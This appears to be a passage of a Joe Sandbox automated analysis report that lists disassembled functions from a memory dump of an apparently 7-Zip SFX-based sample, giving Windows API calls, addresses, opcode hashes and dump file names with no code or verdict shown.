??3@YAXPAX@Z.MSVCRT(?,?,0040618A,?,?,?,?,?,?,?,0040618A), ref: 00404127

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$AddressInfoLibraryLoadNativeProcSystem
String ID:
API String ID: 1642057587-0
Opcode ID: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction ID: 9e508ec73b50e54c44e6a1cbebbe2d332481b03b5bec8f58460c8bd0d041dc66
Opcode Fuzzy Hash: 8baa72d996272d38ed05c446b7b0ed8a988b778acb04223dc58cbd51a4d46b7c
Instruction Fuzzy Hash: 9B515AB2D00109AACF01EFD1CD859FEBB7AAF48308F04442AF611B21D1D7799A4ADB59

Function 00415EEA Relevance: 4.6, APIs: 3, Instructions: 114COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00415EEF

Part of subcall function 00418390: _EH_prolog.MSVCRT ref: 00418395

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?), ref: 00415F9F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?), ref: 00415FDE

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@H_prolog
String ID:
API String ID: 1329742358-0
Opcode ID: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction ID: ee2028b182a3def668edec6c1c55fa530388cf6d31d76bb4d9d5585ab1c54ad5
Opcode Fuzzy Hash: 489a3c7cee778f4efcc6a7dc722babe966adbbc4dc412f5c71f799eb8d0ccc08
Instruction Fuzzy Hash: 3C414E3160020ADFCB11DFA5C895AEEBBB8EF84304F14446EF406A7251DB79AD86CB15

Function 004029C5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040), ref: 004029E9

Strings

@, xrefs: 004029DC

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: @
API String ID: 1890195054-2766056989
Opcode ID: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction ID: ac6f2177cda35d3747c738f0166e8eeafa9c669c636109ee84ed785ee5894a61
Opcode Fuzzy Hash: 59fdda50a6964837229ca20d0fc0b21477a5b75227e6593dad09989c17fceb1e
Instruction Fuzzy Hash: 05F0C8B1B242049ADF71A775DA4DB9E77E4BB04358F10453BD402F61C1EBB8D8448A0D

Function 004180FF Relevance: 3.2, APIs: 2, Instructions: 204COMMON

Download Yara Rule

APIs

Part of subcall function 00416224: _CxxThrowException.MSVCRT(?,0041C8F8), ref: 0041623E

??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 0041821D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,0041C40C,?,?,?,0041BE90), ref: 00418381

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@$ExceptionThrow
String ID:
API String ID: 2803161813-0
Opcode ID: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction ID: 83b4708bc2a3ecc906b18b476579f0d6f6f5e7f9de80452c7b562753e21decce
Opcode Fuzzy Hash: e10bf944ff68911ba707479cc8ffbf2420e48e5b65e3bf21be0fe4843cdedc08
Instruction Fuzzy Hash: 50815831A00609AFCB24DFA5C891AEEBBF1FF08314F14456EE955A3351DB39A981CB58

Function 004011B7 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction ID: 4976e3025a107b63499e13e7bd885c103cda5e9e62e117b5f23361b6eed5d2a5
Opcode Fuzzy Hash: 68d18e978562b686aa57d02b5185ded876e64a512ac0e82d18ed9b6a0d6aac65
Instruction Fuzzy Hash: 65F08C36210611ABC324DF6DC59186BB3E4FB88351720883FE6DBD72A1DA35A8918754

Function 00402805 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402815
??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,00402B46,00000001,?,00403119,00000000,00000000,00000000), ref: 00402839

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@??3@
String ID:
API String ID: 1936579350-0
Opcode ID: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction ID: bcdea4c81718d913e52e4f2a3d02f3e10d2d0235028ef0e1c46e76d630642e7e
Opcode Fuzzy Hash: 2064f16d128cdefb72a915ff298af5a2bfcd9ac95c91b2f18fb6f0bffc5949de
Instruction Fuzzy Hash: 9AF0903A0046419FC330AF2AC594843FBE8EB59714720CD7FE1D6D36A2C674A880C764

Function 00412305 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00412320
GetLastError.KERNEL32(?,?,?,?), ref: 0041232E

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction ID: 65ff4e97a72b45656fb33b06e3671964329e584f013e41466ec28955d6667f50
Opcode Fuzzy Hash: 7ccaebcf3ae4d329a8be65b6a742600eba4963c05187a2ee435572f36bdccfb6
Instruction Fuzzy Hash: B7F0B7B4900208EF8B05CFA4D9448EE7BB5EB49310B208599F815D7350D7759A60DB65

Function 004134C7 Relevance: 2.5, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 004134D2
LeaveCriticalSection.KERNEL32(?,?,?,?,?), ref: 004134F1

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction ID: b96cbccc89c31bbccc7d9b04d0ab1e0d7f4ede81ffdd75c3392c9c36ee2ff524
Opcode Fuzzy Hash: a42822acf305faa6e4e1ed1b7c307282cd490a9ff452566294a691c589accf54
Instruction Fuzzy Hash: 43F0B432200204ABCB218F95CC08ECABBB9EF49761F14441AFA05E7220C775E860DBA4

Function 004143A1 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004143D6

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction ID: cd62177f8338b91460b71a425ed9147b2bdb3dfef56ead52da7ce74447b44359
Opcode Fuzzy Hash: a5f2d7237813c990e40069af46c32fbbc70be7282d3e3fe7c7570c906ef1087d
Instruction Fuzzy Hash: FEF0903260010CBB9B11AF55C8418FFB76DEF91764704802FFC189B301D679EE8187A4

Function 004012AB Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?), ref: 004012EF

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction ID: a535b6e06518e329df30477031f310d0f2202fa2471075cd59bb490024d4aebd
Opcode Fuzzy Hash: e60c0da1a95ea1348e4e355d4ccb5392af3e0846045a7b71aebea512eebea2b4
Instruction Fuzzy Hash: EDF05E321006029BC7209F55C804BA773F5BB88310F04482EE046F25A0D738A891DF59

Function 0041236B Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041229A: CloseHandle.KERNELBASE(?,?,00412376,00000000,?,004123BE,?,80000000,?,?,?,004123E0,?,?,00000003,00000080), ref: 004122A5

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,00000000,?,004123BE,?,80000000,?,?,?,004123E0), ref: 0041238D

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID:
API String ID: 3498533004-0
Opcode ID: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction ID: 5404b23c39375f3672358c8d8a6143ebe8ef3d7cff4e6c8b62a506d5a933efac
Opcode Fuzzy Hash: 6a49ffe8ef07d3521491a90d9a8a388089b773908a45dfb32dd5cb480f9273a5
Instruction Fuzzy Hash: 05E086360003297BCF115F64AD01BCE3F55AF09360F104116FA24961F0C7B2C4B5AB95

Function 004124AC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00412AE7,00000001,0041EA30,0041EA30,0041A558,?,00405A74,?,?), ref: 004124CF

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction ID: b461439d7febe1c34a09764e505ffeaa1d621892ee7a9e15149591a9498c33bb
Opcode Fuzzy Hash: 9268ae55d625ba9bd3f65ec717c6ac52065aac6919130e551e4270b037b827da
Instruction Fuzzy Hash: 21E0C275640208FFDB00DF95D801BDE7BB9AB09354F10C069F9189A260D3799A60DF55

Function 00418390 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00418395

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction ID: f5503d52053c13d59ef663bb5271dc3ef65e74f3c8d6ef33482ecfccbeeb62e3
Opcode Fuzzy Hash: c44e62af5a1c4d63caea494e9f2a828a81f46f1dcdedab2345fdd327c4800f2a
Instruction Fuzzy Hash: F0E08C72A00108FBDB219F85DC01BEEBB38FB40354F00842FF51151110CB795A509A68

Function 00407568 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_beginthreadex.MSVCRT ref: 0040757B

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: _beginthreadex
String ID:
API String ID: 3014514943-0
Opcode ID: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction ID: 07ee00ee9fd24b5c7ccaf45b7f299fd8fb924091db141d3d19c4ab49eb9d3da1
Opcode Fuzzy Hash: 5cedbd00d0b58acbd8f2f67b12d806d60a324f9fe697fccd0a4b4518c7bb1b65
Instruction Fuzzy Hash: 69D017F6800208BFCB01DFA0CC05CEA3BADEB08248B008465BD05C2210E632DA108B61

Function 004123F1 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00412407

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction ID: 9ccc3df45c5337931c1f9920f453614b41e8bb9900b5d069a402b44b4c854426
Opcode Fuzzy Hash: 8938edae947a69c9db44886959f9dc69aa4ca479dc7ae96bb4d07ee1a96cf5e8
Instruction Fuzzy Hash: 99E0EC75201208FFDB01CF90CC01FDE7BBDFB49754F208058E90496160C7759A24EB55

Function 00412260 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 00412276

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction ID: a48faa5ad871c9538198cc58908edd1886e2b5d46e41b8f7632e96d43fd9665f
Opcode Fuzzy Hash: c430f725063ded926cf1adce3771649bab367042c849bbcb27380caf4cd98197
Instruction Fuzzy Hash: D7D02231104B22478160BB6AC8004CF73C69F113343008E1EF465836E0C638FDD182DE

Function 00401198 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 0040119C

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction ID: 80e429c9655060905b03d38468354203b5df30ae66867c399f2ea5f3bf3c7cce
Opcode Fuzzy Hash: 053bab089f67fb7da11783392dabcaa5bb2c6350295daccf07d3f923137bd5e8
Instruction Fuzzy Hash: 87C08C36190203CBC7004F30CC026457BE1BBA0714B6486A8A065C63B0DA3EC448CA01

Function 00401397 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?), ref: 004013A4

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction ID: 2bfd4fe5492bcf1d3212a322bb009ce45eed1b46813e47afac693d05b876fedf
Opcode Fuzzy Hash: 49818983c7c4313c622f2e86d7746392ff58400d4958ac86d60063aa5157a66c
Instruction Fuzzy Hash: 0BC09B753181049BC718FF21C450817B365AB64714714C85FF84C55547CA3BDC82E618

Function 0041247F Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,004124A9,00000000,00000000,?,004012DC,?), ref: 0041248D

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction ID: f7402770b179a49de0ab9fe0b192ea54849ac29a58fff8f6d7b1295910a8291e
Opcode Fuzzy Hash: a76d94471d75101d3d19dad7ac3713a68ec5cb13f5505408d5a5f3094a28fb24
Instruction Fuzzy Hash: 31C04C36159105FF8F020F70CC04C1ABFA2AB99311F10CA18B155C4074C7328034EB12

Function 004015D8 Relevance: 1.4, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(000001E8,00000000,00000000,?,?,?,?,?,?,00401AD3,?), ref: 004015F7

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction ID: 576c3123db9d42ad6f26370305c4fe05627a80a4f610c37a806172f0a9a2cc4a
Opcode Fuzzy Hash: 3a0bd8ffb75a7d0c1b376548dc289f793da2ad7584b55b5230689940060f599c
Instruction Fuzzy Hash: C5318271910115ABDB10EFE5CC84CEFB7B8EF48344B15087BE441B72A1D7799E818B69

Function 004128AC Relevance: 1.3, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000060), ref: 00412927

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270914104.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3271082705.0000000000423000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_a5bb0fe977.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction ID: 8d352c1c46fd1df2ac59e7115e7018534418c9226e76046c12a2ea9475f01b4a
Opcode Fuzzy Hash: 6debaf52b1a4c8e37dc45691c4e1b6b73fa31808f858abb765b60bcf64e2121f
Instruction Fuzzy Hash: 3F21C3717142869BCF34FF658A904EB7395AF40314B14462FE482D3201C7B8ADE5CB5E

Function 004035CF Relevance: 1.3, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000018,?,00405789,?,00405D01,?,?,?,?,00405D01,7zSfxVarModulePlatform,x86), ref: 004035D4

Memory Dump Source

Source File: 00000007.00000002.3270541398.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3270399156.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3270742789.000000000041A000.00000002.00000001.01000000.0000000A.sdmpDownload File
